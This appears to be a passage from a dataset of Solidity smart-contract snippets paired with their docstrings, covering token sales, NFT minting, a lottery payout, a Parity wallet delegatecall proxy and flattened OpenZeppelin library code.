Getter function to lookup query IDs from dataFeed IDs _feedId dataFeed unique identifier return bytes32 corresponding query ID/
function getQueryIdFromFeedId(bytes32 _feedId) external view returns (bytes32) { return queryIdFromDataFeedId[_feedId]; }
4,950,806
./partial_match/1/0x0DD892b0809cA85c594089bE8a16a9c90537E5aC/sources/TokenBox.sol
once enabled, can never be turned off
function openBoxTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; }
4,281,329
./full_match/42161/0x3543488F480bDb42075283Bc354Cf5B0F58e8204/sources/project_/src/active/MemepadProject.sol
Write: Token Address. Should be set before/closed sale Emit event
function setTokenAddress(IERC20Metadata token) external onlyOwner { _token = token; emit ESetTokenAddress(token.name(), token.symbol(), token.decimals(), token.totalSupply()); }
16,300,935
./partial_match/1/0xe6F4d9711121e5304b30aC2Aae57E3b085ad3c4d/sources/src/interfaces/pool/erc20/IERC20PoolImmutables.sol
ERC20 Pool Immutables/
interface IERC20PoolImmutables { function collateralScale() external view returns (uint256); }
3,630,066
./full_match/4/0xa28Ddc4241f2f59430eE4A77033DB88E6aBb894e/sources/browser/Lottery2.sol
Send prize fund to the winner. Clear up info about last round./
function sendPrize() public { require(!isRoundActive(), "Round must be finished"); require(_prizeFund > 0, "Prize fund is empty"); emit PrizeWasTaken(_lastInvestorAddress, _prizeFund); _tokenContract.transferFrom(address(this), _lastInvestorAddress, _prizeFund); _prizeFund = 0; _lastInvestedTime = 0; _lastInvestorAddress = address(0); }
727,533
//! The wallet-library contract. //! //! Copyright 2017 Nicolas Gotchac, Parity Technologies Ltd. //! //! Licensed under the Apache License, Version 2.0 (the "License"); //! you may not use this file except in compliance with the License. //! You may obtain a copy of the License at //! //! http://www.apache.org/licenses/LICENSE-2.0 //! //! Unless required by applicable law or agreed to in writing, software //! distributed under the License is distributed on an "AS IS" BASIS, //! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. //! See the License for the specific language governing permissions and //! limitations under the License. //! //! This code may be distributed under the terms of the Apache Licence //! version 2.0 (see above) or the MIT-license, at your choice. pragma solidity ^0.4.11; contract Wallet { function Wallet(address[] _owners, uint _required, uint _daylimit) { // Signature of the Wallet Library's init function // bytes4 sig = bytes4(sha3("init_wallet(address[],uint256,uint256)")); bytes4 sig = 0x90ca20e5; // Compute the size of the call data : arrays has 2 // 32bytes for offset and length, plus 32bytes per element ; // plus 2 32bytes for each uint uint argarraysize = (2 + _owners.length); uint argsize = (2 + argarraysize) * 32; // total data size: // 4 bytes for the signature + the arguments size uint size = 4 + argsize; bytes32 m_data = _malloc(size); // copy the signature and arguments data to the // data pointer assembly { // Add the signature first to memory mstore(m_data, sig) // Add the call data, which is at the end of the code codecopy(add(m_data, 0x4), sub(codesize, argsize), argsize) } // execute the call (to initWallet) _call(m_data, size); } // delegate any contract calls to // the library function() payable { uint size = msg.data.length; bytes32 m_data = _malloc(size); assembly { calldatacopy(m_data, 0x0, size) } bytes32 m_result = _call(m_data, size); assembly { return(m_result, 0x20) } } // allocate the given size in memory and return // the pointer function _malloc(uint size) private returns(bytes32) { bytes32 m_data; assembly { // Get free memory pointer and update it m_data := mload(0x40) mstore(0x40, add(m_data, size)) } return m_data; } // make a delegatecall to the target contract, given the // data located at m_data, that has the given size // // @returns A pointer to memory which contain the 32 first bytes // of the delegatecall output function _call(bytes32 m_data, uint size) private returns(bytes32) { address target = 0x3C8e6c5AE8580961cf1828F8eD28c842937D8F99; bytes32 m_result = _malloc(32); bool failed; assembly { failed := iszero(delegatecall(sub(gas, 10000), target, m_data, size, m_result, 0x20)) } require(!failed); return m_result; } }
make a delegatecall to the target contract, given the data located at m_data, that has the given size returns A pointer to memory which contain the 32 first bytes of the delegatecall output
function _call(bytes32 m_data, uint size) private returns(bytes32) { address target = 0x3C8e6c5AE8580961cf1828F8eD28c842937D8F99; bytes32 m_result = _malloc(32); bool failed; assembly { failed := iszero(delegatecall(sub(gas, 10000), target, m_data, size, m_result, 0x20)) } require(!failed); return m_result; }
13,103,442
./full_match/3/0xB9031821b22D19622644ce631C996e33BE08D410/sources/contracts/Cryptosaurs.sol
Mints Dinos/ If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after the end of pre-sale, set the starting index block
function mintDino(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint Ape"); require(numberOfTokens <= maxDinoPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_DINOS, "Purchase would exceed max supply of Apes"); require(dinoPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_DINOS) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_DINOS || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } }
8,261,876
// Sources flattened with hardhat v2.9.1 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.5.0 // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/utils/Address.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File @openzeppelin/contracts/access/IAccessControl.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts/access/IAccessControlEnumerable.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // File @openzeppelin/contracts/utils/Context.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/Strings.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/access/AccessControl.sol@v4.5.0 // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File @openzeppelin/contracts/utils/structs/EnumerableSet.sol@v4.5.0 // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ 